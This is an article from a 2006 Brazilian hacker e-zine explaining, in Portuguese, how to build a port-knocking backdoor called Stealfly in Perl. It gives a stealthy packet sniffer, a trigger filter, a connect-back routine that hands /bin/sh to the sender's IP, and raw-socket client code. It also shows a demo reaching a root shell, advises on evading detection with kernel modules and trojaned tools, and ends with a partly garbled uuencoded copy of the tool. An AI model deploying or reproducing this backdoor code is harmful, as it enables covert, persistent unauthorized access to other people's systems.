[ --- The Bug! Magazine _____ _ ___ _ /__ \ |__ ___ / __\_ _ __ _ / \ / /\/ '_ \ / _ \ /__\// | | |/ _` |/ / / / | | | | __/ / \/ \ |_| | (_| /\_/ \/ |_| |_|\___| \_____/\__,_|\__, \/ |___/ [ M . A . G . A . Z . I . N . E ] [ Numero 0x01 <---> Edicao 0x01 <---> Artigo 0x07 ] .> 23 de Marco de 2006, .> The Bug! Magazine < staff [at] thebugmagazine [dot] org > +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Port Knocking +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ .> 22 de Fevereiro de 2006, .> hash < hash [at] gotfault [dot] net > If I don't drive around the park, I'm pretty sure to make my mark. If I'm in bed each night by ten, I may get back my looks again. If I abstain from fun and such, I'll probably amount to much; But I shall stay the way I am, Because I do not give a damn. -- Dorothy Parker [ --- Indice + 1. <---> Introducao + 2. <---> Conhecimento necessarios + 3. <---> Estrutura basica de um port-knocking backdoor + 4. <---> Exemplo Pratico + 5. <---> Implementando o server + 5.1. <-> O Sniffer + 5.2. <-> O Filtro + 5.3. <-> A Rotina a executar + 5.4. <-> Funcionou ? + 6. <---> Implementando o client + 6.1. <-> Raw Sockets + 6.2. <-> O Socket Cliente + 7. <---> Evasao + 8. <---> Conclusao + 9. <---> Referencias + 10. <---> Agradecimentos [ --- 1. Introducao Este documento nao visa explorar assuntos de ambito hacker como definicoes e diferencas entre black hat, white hat, cracker, etc.., acredito que pre-concei- tos sempre sao negativos de alguma forma. O uso que se da ao conhecimento pode ser para o bem ou para o mal, isso depende da pessoa que o aplica. E' o mesmo que dizer que a internet e' um mal porque permite pornografia infantil, disse- minacao de informacao sigilosa, difamacoes etc e tal. A internet e' o meio de comunicao talvez mais democratico que exista, permitindo a todos sem execoes (a nao ser as financeiras que privam os menos favorecidos a tecnologia) um lugar comum para se discutir ideias e compartilhar conhecimento. Como diria meu fale- cido avo, que eu nao cheguei a conhecer, "O saber nao ocupa lugar". Vamos entao tentar esclarecer alguns conceitos que para alguns podem nao ser conhecidos, entao deixem-me oferecer algumas definicoes que me parecem uteis para a compreensao total deste paper: + BackDoor: Um backdoor e' por natureza, algum software/ferramenta ou mecanismo que visa oferecer acesso indevido a um sistema de computador. Existem hoje muitos tipos funcionais de backdoors, que vem sendo aprimorados com o passar do tempo. Entao os Backdoors sao divididos em alguns sub-niveis conceituais ou de aplicacao, vou citar alguns: Kernel Backdoor ou lkm (loadable kernel module): Nao abordado nesse texto Funcionam a nivel de kernel como um objeto .o, mais precisamente um modulo do kernel. Geralmente sao muito sofistica- dos. Backdoor comum: Nao abordado nesse texto (quero deixar claro que alguns dos termos uti- lizados estao vindo da minha cabeca, nao tenho a intencao de ser "exa- to" mas sim ser o mais claro possivel). Baseia-se em geralmente um sistema cliente/servidor, o qual o host alvo executa o "servidor" provendo um acesso externo, com isso deixando uma porta aberta na maquina alvo, a qual o "cliente" conecta-se e pode en- fim executar seus comandos. Backdoors avancados: Procuram se utilizar de tecnicas de evasao e nao deixar tantos rastros que poderiam ser facilmente seguidos pelo administrador do sistema. Este paper trata de um metodo avancado de implementacao de um backdoor. Procu- rando tornar-se mais evasivo e silencioso que metodos mais tradicionais. Port-Knocking BackDoor: Port Knocking backdoor tem como principal caracterista o fato de nao estar ativamente escutando uma porta TCP, isso pode soar estranho, mas e' exatamente assim que ele funciona. E nesse documento vamos discutir caracteristas, teorias e metodologias de implementacao tanto para uso em backdoors quanto em uma forma de obscurecer certos servicos em um host. [ --- 2. Conhecimento necessarios Para a melhor aproveitamento deste paper se faz necessario que o leitor possua alguma , nao necessariamente profundos conhecimentos, mas alguma nocao de TCP/IP, linguagens de programacao como Perl e C, Linux/Unix, sockets. O uso de ferramentas como o Nmap tambem sera util. [ --- 3. Estrutura basica de um port-knocking backdoor Em seu codigo, o programa precisa ser capaz de sniffar uma determinada interfa- ce, que sera usada pelo client para o envio dos datagramas, que serao filtrados pelo sniffer, analisados e entao sera tomada a decisao de fornecer acesso ou nao. O sniffer em questao precisa ao minimo ser furtivo o suficiente para nao setar a interface em modo promiscuo, o que seria facilmente detectado pela maioria das ferramentas anti-intrusao ou mesmo um simples "/sbin/ifconfig -a" colocaria tudo a perder. Uma interface em modo promiscuo se pareceria da seguinte forma: eth1 Link encap:Ethernet HWaddr 00:E0:7D:E6:EF:D0 inet addr:10.10.10.1 Bcast:10.10.10.255 Mask:255.255.255.0 inet6 addr: fe80::2e0:7dff:fee6:efd0/64 Scope:Link UP BROADCAST PROMISC MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 b) TX bytes:0 (0.0 b) Interrupt:5 Base address:0xb000 Observe a linha: UP BROADCAST PROMISC MULTICAST MTU:1500 Metric:1 Fica evidente que a interface esta sendo sniffada de alguma forma, o que leva- ria o administrador a tomar providencias. [ --- 4. Exemplo pratico Se realmente nunca viu um backdoor em acao, vou aqui demonstrar rapidamente a execucao de um exemplo. Mas se voce ja possui mais experiencia, sugiro que pule este exemplo. Imagine que voce esta logado em uma maquina remota, por alguma razao obscura (ou nao tao obscura assim) voce possui acesso shell a maquina, e o melhor ain- da, voce e' ROOT. Com um backdoor em maos o procedimento seria o seguinte: root@godfather:/home/hash/security/tools/stealfly# ./server.pl root@godfather:/home/hash/security/tools/stealfly# Agora o server.pl esta sendo executado em background. Voce desloga da maquina, e a proxima etapa (munido do client ou nao, dependendo da implementacao) sera acionar o client para logar na maquina alvo: root@godfather:/home/hash/security/tools/stealfly# ./client.pl -b localhost localhost 8080 Stealfly written by hash [!] Bindport method [*] Sending range of UDP packets to 127.0.0.1:80 ... [!] Sent! [!] Connected on: 127.0.0.1:8080 [!] exit or control+c to leave Linux godfather 2.6.7 #4 SMP Mon Aug 29 17:15:09 BRT 2005 i686 unknown unknown GNU/Linux uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy) Nesse ponto, como voce pode observar, estara apto a executar comandos na maqui- na remota. [ --- 5. Implementando o Server [ --- 5.1. O Sniffer Talvez, ao menos no mundo *nix o sniffer mais popular seja o tcpdump. Mas na pratica nao e' tao complicado escrever seu proprio sniffer, utilizando-se a bi- blioteca pcap.h em C, em Perl seu equivalente e' Net::PcapUtils. O Tcpdump uti- liza pcap.h assim como muitos outros sniffers disponiveis. O procedimento e' interceptar os pacotes que chegam a determinada interface e analizar os dados contidos nesses datagramas, como por exemplo porta de origem, porta de destino, dados, ip destino, ip origem, etc. Em Perl um sniffer se pa- rececia com esse trecho de codigo: -------------- code ---------------- #Inicia a interface em modo nao promiscuo Net::PcapUtils::loop(\&sniffit,Promisc=>0, #nao promiscuo NUMPACKETS=>5, #numero de pacotes a serem intercepatos por vez FILTER=>"udp and port 9090", #protocolo e porta a ser escutada DEV=>eth0); #device my ($args,$header,$packet) = @_; $ip = NetPacket::IP->decode(eth_strip($packet)); #Filtrando IP $tcp = NetPacket::TCP->decode($ip->{data}); #Filtrando TCP $get_data = $ip->{data}; #capturando os dados contidos no datagrama $tcporigem = $tcp->{src_port}; #capturando a porta de origem $iporigem = $ip->{src_ip}; #capturando o ip de origem -------------- code ---------------- Essa simplificacao nos permite perceber como a filtragem do datagrama sera fei- to. Primeiro "abrimos" os datagramas IP e TCP, uma vez abertos temos acesso ao seu conteudo como ip de orgem/destino, porta de origem e dados. [ --- 5.2. O Filtro Atraves do manuseio dessas informacoes podemos em seguida estabelecer as regras que serao seguidas de acordo com a informacao que chega: -------------- code ---------------- . . . my $allow = 9090; if($orig_addr eq '127.0.0.1') { #Se o ip de orgigem bate com o que esperamos if($srcport eq $allow) { #Se a porta de origem tambem confere... #analizamos os dados, nesse caso se espera uma string 'connback' #se contiver essa string seguimos a rotina: if($get_data =~ /connback/) { faz algo... } . . . -------------- code ---------------- Como voce ja percebeu a logica toda e' muito simples. Nao pretendo entrar em detalhes de programacao, porque isso merececia um documento extra, mas sim ex- por a logica por tras desse metodo ainda nao tao difundido. Preciso fazer mencao ao primeiro documento que li a respeito que foi de FX da phenoelit, foi a primeira implementacao desse meteodo. No caso do codigo do FX ele filtra os datagramas na espera de uma certa sequencia de SYN/ACK que pode ser gerado pelo nmap. [ --- 5.3. A Rotina a executar E para efeito de conhecimento segue um possivel trecho de codigo que realiza um connect-back em destino ao client, sendo satisfeitas todas as regras anteriores: -------------- code ---------------- sub conn_back() { sleep(4); #Dorme por 4 segundos para dar tempo ao client $execute = '/bin/sh'; #Vamos executar /bin/sh nessa rotina $get_addr = inet_aton($iporigem); $paddr = sockaddr_in($conn_back_port, $get_addr); $ptc = getprotobyname('tcp'); socket(S, PF_INET, SOCK_STREAM, $ptc); connect(S, $paddr); S->autoflush(1); #direcinando a saida ao socket open(STDIN, ">&S");open(STDOUT, ">&S");open(STDERR, ">&S"); system($execute); } -------------- code ---------------- Essa funcao acima realiza um connect-back no ip de origem do datagrama, pode ser considerada como uma forma de evasao ao netfilter que muito frequentemente bloqueia acesso remoto a portas arbitrarias mas muitas vezes permite a conexao server -> client:porta. [ --- 5.4. Funcionou ? Ao startar o server (que vai esperar por datagramas direcionados a porta 80 pa- ra em seguida liberar o acesso remoto na porta 9090: # ./server.pl # Agora veja com nmap: root@godfather:/home/hash/security/tools/stealfly# nmap localhost -p 1-65535 Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) at 2006-02-23 01:48 BRT Interesting ports on localhost.localdomain (127.0.0.1): (The 65532 ports scanned but not shown below are in state: closed) PORT STATE SERVICE 443/tcp open https 6667/tcp open irc 61515/tcp open unknown Nmap run completed -- 1 IP address (1 host up) scanned in 46.268 seconds root@godfather:/home/hash/security/tools/stealfly# Como fica evidente, nao temos a porta 9090 aberta muito menos a 80. Mais a frente na secao CLIENT vamos ter mais detalhes. [ --- 6. Implementando o Client [ --- 6.1. Raw Sockets Muito bom o servidor estar escutando uma interface, uma porta, um datagrama. Mas de que vai adiantar isso se nao pudermos gerar nossos proprios datagramas? Com portas, ip`s etc. arbitrarios? Isso so e' possivel com o uso de Raw Sockets. Para se manipular datagramas dessa forma e' essencial conhecimentos sobre o stack TCP/IP. Um exelente documento sobre Raw Sockets e TCP/IP pode ser lido (em ingles) no link: http://www.madchat.org//coding/c/c.rezo/rawsckt/raw_socket.txt O documento aborda uma perspectiva C. No nosso caso faremos em Perl por enquan- to (em medio prazo pretendo desenvolver um paper sobre Raw Sockets abordando a linguagem C ANSI). Em Perl usamos a o modulo (biblioteca) Net::RawIP. -------------- code ---------------- #Primitiva de servico raw socket, nesse caso UDP $packet = new Net::RawIP({udp=>{}}); #Serao 5 pacotes enviados em sequencia (para ser aceito pelo server) for($x=0;$x<=4;$x++){ #Cada datagrama tera uma porta de origem diferente @tmpport = (739,666,2001,3055,8000); $packet->set({ ip => { saddr => $iface, #IP de orgiem (arbitrario) daddr => $server #IP de destino (server) }, udp => { source => $tmpport[$x], #Vetor para cada uma das 5 portas de origem dest => 80, #porta 80 de destino, geralmente aceita (web) len => 5, data => $send_data #data (string) } }); $packet->send(0,1); #envia o datagrama -------------- code ---------------- [ --- 6.2. O Socket Cliente Simples nao? O datagrama e' gerado e enviado ao endereco de destino. Vamos a segunda parte do client: -------------- code ---------------- . . . $local = IO::Socket::INET->new(Listen=>1, Proto=>'tcp', #Protocolo LocalAddr=>'127.0.0.1', #Ip local LocalPort=>9090, #porta local ReuseAddr=>1,) or die "$!"; $local->autoflush(1); #Aceita a conexao $addr = $local->accept(); . . . -------------- code ---------------- O exemplo acima funcionaria para o connect-back ja que abre uma porta no ende- reco local a espera de uma conexao vinda do servidor. [ --- 7. Evasao Tecnicas de evasao sempre sao necessarias em backdoors, deve-se dificultar sua deteccao pelo administrador do sistema e ferramentas de que ele se utiliza. Uma boa forma e' voce criar sua propria ferramenta, sendo ela "desconhecida" fica mais dificil que ela seja filtrada por alguma ferramenta de anti-intrusao que sempre procuram por padroes, como diretorios com nomes especificos, proces- sos comuns de sistema, arquivos caracteristicos, etc. Os mais eficientes backdoors sao os LKM (loadable Kernel Module) por serem exe- cutados a nivel de kernel (.o na versao 2.4.X e .ko na 2.6.X) como modulos, po- dem ser carregados na inicializacao do sistema, nao aparecendo na lista de processos de sistema, porem podem ser detectados na listagem de modulos ativos (lsmod), ai seria necessario trojanar certos aplicativos a fim de de tornar o sistema mais invisivel. Alterar o source code de um backdoor de terceiros tambem pode ser uma solucao para evitar a deteccao, como diretorios default, nomes de arquivos, comporta- mento, etc. O grande Gol do backdoor port-knocking e' posibilitar que o servidor nao deixe nenhuma porta aberta ativa, abrindo esta somente quando necessario. [ --- 8. Conclusao Vamos verificar como o backdoor se comporta: root@godfather:/home/hash/security/tools/stealfly# ./server.pl root@godfather:/home/hash/security/tools/stealfly# Em outro terminal: # nmap localhost -p 8080 Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) at 2006-02-23 01:21 BRT Interesting ports on localhost.localdomain (127.0.0.1): PORT STATE SERVICE 8080/tcp closed http-proxy Nmap run completed -- 1 IP address (1 host up) scanned in 0.648 seconds root@godfather:/home/hash/security/tools/stealfly# # ./client.pl -b 127.0.0.1 127.0.0.1 8080 Stealfly written by hash [!] Bindport method [*] Sending range of UDP packets to 127.0.0.1:80 ... [!] Sent! [!] Connected on: 127.0.0.1:8080 [!] exit or control+c to leave Linux godfather 2.6.7 #4 SMP Mon Aug 29 17:15:09 BRT 2005 i686 unknown unknown GNU/Linux uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy) Novamente em um terceiro terminal: root@godfather:~# nmap localhost -p 8080 Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) at 2006-02-23 01:22 BRT Interesting ports on localhost.localdomain (127.0.0.1): PORT STATE SERVICE 8080/tcp open http-proxy Nmap run completed -- 1 IP address (1 host up) scanned in 0.723 seconds root@godfather:~# Connect Back: root@godfather:/home/hash/security/tools/stealfly# ./client.pl -c 127.0.0.1 127.0.0.1 9090 Stealfly written by hash [!] Connect Back method [*] Sending range of UDP packets to 127.0.0.1:80 ... [!] Sent! [*] Waiting for remote connect back on 127.0.0.1:9090 [!] Connection made from: 127.0.0.1:32933 [!] exit or control+c to leave command> id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy) Command> Como fica claro nos exemplos, a porta somente sera aberta em caso de real cone- xao, ao sair da shell a porta novamente sera fechada e o programa entra em es- pera por novos datagramas. O metodo Port-Knocking tambem pode ser utilizado por administradores de siste- mas como uma forma de inicializar/parar determinados servicos como http/ssh/ftp etc. Tambem pode lidar com regras dinamicas do netfilter (iptables, ipchains, etc.) dinamicamente, voce envia pacote x, libera-se porta y para ip de origem w e por ai vai. O unico limite e' a imaginacao do desenvolvedor. Mas e' claro que a parte mais divertida fica para o segmento underground. Esse paper teve como objetivo esclarecer mais sobre esta tecnica ainda nao mui- to difundida porem muito util e interessante, que ainda tem muito a oferecer, e devemos ainda em breve ver ferramentas bastante flexiveis se utilizando desse mecanismo. Porem nao procurei me extender demais no assunto, entrando em deta- lhes tecnicos especificos de linguagem ou plataforma, dessa forma procurei ape- nas ajudar. [ --- 9. Referencias + http://www.phenoelit.de/fr/tools.html + http://www.phenoelit.de/fr/tools.html + http://www.madchat.org//coding/c/c.rezo/rawsckt/raw_socket.txt + http://www.uwo.ca/its/doc/courses/notes/socket/ [ --- 10. Agradecimentos + A todos os membros da: + Gotfault + rfdslabs + Alguns nomes: F-117, sandimas, xgc, khz, deadsocket, barros, spud, c0dak, + hexdump, Shorgen... + E ripando o paper do sandimas, aqui vai um set list que sempre me acompa- + nha: + Neil Young (TODAS e tambem..) - Keep on Rockin` in the Free World, Like a + Hurricane e Cowgirl in the Sand, Scenery; + Racionais - Vida Loka I e II, Foda-se a Policia, Sobrevivendo no Inferno; + Blind Melon - Change, Mother; + SRV - Texas Flood, Voodoo Child; + Metallica - One, Fade to Black, My Friend of Misery; + Nirvana - Heart Shaped Box, Polly, Something in the Way; + The Animals - House of Rising Sun, Please dont let me be misunderstood; + Janes Addicion - Simpathy for the Devil, Jane Says, Three Days; + Pearl Jam - Immortality, Black; + Alice in Chains - Angry Chair, Nutshell, Down in a Hole; + E centenas de outras bandas e musicas como Sublime, Legiao, Waterboys, + Agent Orange, D2, The Doors, Cream, RHCP, Manolo Tena, Pink Floyd (claro), + Pixies, Suicidal Tendencies, Porno for Pyros, Screaming trees, Anathema... begin 644 stealfly.tar M2!T:&4@=&AI2!H87-H(#QC87)L;W-L86-K(&%T(&=M86EL(&1O="!C;VT^"B,*(R!$97-C M@HC("`@("`@("`@("`@ M("`@("!D96%D5,N<&P@9&]E&ET.PH*(R!3=&%R=&EN9R!O=7(@;&ET=&QE('-N:69F M97(@"G=H:6QE*#$I('L*"B-086-K970@9FEL=&5R+BXN"DYE=#HZ4&-A<%5T M:6QS.CIL;V]P*%PFPH)"FUY("@D87)GR`C4&5R;6ET(&-O;FYE8W1I;VX@9G)O M;2!R:6=H="!S;W5R8V4@<&]R=',*"0D)"2-#86QL('-E;&5C=&5D(&UE=&AO M9"XN+@H)"0D):68H)&=E=%]D871A(#U^("]C;VYN8F%C:R\I('LF8V]N;E]B M86-K?0H)"0D):68H)&=E=%]D871A(#U^("]B:6YD<&]R="\I('LFPH)"0EI9B@DR9C;VYN M7V)A8VM]"@D)"0EI9B@D9V5T7V1A=&$@/7X@+V)I;F1P;W)T+RD@>R9S=6)? MPH)PH)PH*(U-T87)T:6YG(&QI2`DPDC(%)E M860@86QL(&UE M9&EE+V=I.PH)"21C;VUM86YD(#T@8"1?8#L*"0EP4,N M<&P````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M,#`P,#7,@=&\@=W)I=&4@97)R;W(M9G)E92!P4,N<&P@8F5T82!WB!G;V5S('1O.B!H97AD=6UP+"!S86YD:6UA MB`*(R`@("`@("`@("`@("`@("`@9&5A M9'-O8VME="P@>&=C+"!E;FEA8RP@06-I9"U787)Z+"!&+3$Q-RXN+@HC"B,@ M1F5A='5R97,Z"B,@*R!":6YD('!O0HC"B,@*R!.970Z.E)A=TE0.R`H<&5R M;"!M;V1U;&4I"B,*(R`J($EN3H@+B]S=&5A;&9L>4,N<&P@+6AE;'`@("`@("`@("`@("`@ M("`@(`H*=7-E($YE=#HZ4F%W25`["G5S92!3;V-K970["G5S92!)3SHZ4V]C M:V5T.CI)3D54.PIU#8R(BX@(T)I;F10;W)T"@D)"2`@("`@("`B7'@V.5QX-F4B M+@H)"0D@("`@("`@(EQX-C1<>##9F7'@W,B(N M"@D)"2`@("`@("`B7'@W-%QX,#$B"GT*:68H)&UE=&AO9"!E<2`Q*2!["@D@ M("`@("`@("`@)'-E;F1?9&%T82`](")<>#`Q7'@V,R(N("-#;VYN96-T+4)A M8VL*"0D)("`@("`@(")<>#9F7'@V92(N"@D)"2`@("`@("`B7'@V95QX-C(B M+@H)"0D@("`@("`@(EQX-C%<>#8S(BX*"0D)("`@("`@(")<>#9B7'@P,2(* M?0H*:68H)&UE=&AO9"!E<2`R*2!["@D)("`D###PH)"2`@ M)'-E;F1?9&%T82`](")<>####P]-#LD M>"LK*7L*"B-386UE(&%S('-E6]U(&-A;B!C:&%N9V4@:68@>6]U M(&1O(&ET(&%T(&)O=&@@R!S861D%TL("-2 M86YD;VX@5410('!A8VME=',@&ET*#`I M.PH)?0H))%-)1WM)3E1](#T@7"9L;V-A;%]K:6QL7W-S:#L*"7!R:6YT(")/ M<'1I;VYS(#T^($AI="!#;VYTPH)<')I;G0@(ELA M72!$871A(&AAPH)<')I;G0@(ELA72!396YT(5QN6R%=($-O;FYE8W1E9"!O;CH@ M)'-EPH@("`@("`@('=H:6QE M("AD969I;F5D("@D8V]M;2`](#Q35$1)3CXI*2!["B`@("`@("`@("`@('!R M:6YT("1S;V-K("1C;VUM.PH)("`@("-3=6(@=&\@8VQO&ET7&XB.PH)("`@('T*("`@("`@("!] M"B`@("!]"GT@(T5N9"!S=6(@8V]N;F5C="@I"@IS=6(@;&ES=&5N*"D@>PH* M(TY/5$4Z"B,*(R!4:&ES(&QI6]U('1Y<&4@ M8V5R=&%I;B!C;VUM86YD2!A;F0@:6!L;"!F M:7@@:70@2!O=&AE6]U('=O;F1EPH)"0D)<')I;G0@)&)U9F9E MPH))G5S86=E"GT* M8VAO;7`H)'-T6S`M.5TO*2![(`H)"4!A9'(@/2!G971H;W-T8GEN86UE M*"1S97)V97)?<')E*2!OPIP2`M8B!APH@("`@("`@("-'87)A M;G1E92!U&ETTE.5'T@/2!<)F-L;W-E8FEN9#L*"2-$969I;F4@;65T:&]D.@H@("`@("`@ M("1M971H;V0@/2`P.PH)"@DC1V5T(&%R9W5M96YT2`M8R!APH@("`@("`@("-'87)A;G1E92!U&ETTE.5'T@/2!<)F-L;W-E8F%C:SL*"0H)(T1E9FEN M92!M971H;V0Z"B`@("`@("`@)&UE=&AO9"`](#$["@D*"2-'970@87)G=6UE M;G1S.@H@("`@("`@("1I9F%C92`]("1!4D=66S%=(&]R("9UPH)"@DC1&5F:6YE(&UE=&AO9#H*("`@ M("`@("`D;65T:&]D(#T@,CL*"0H)(T=E="!A2!W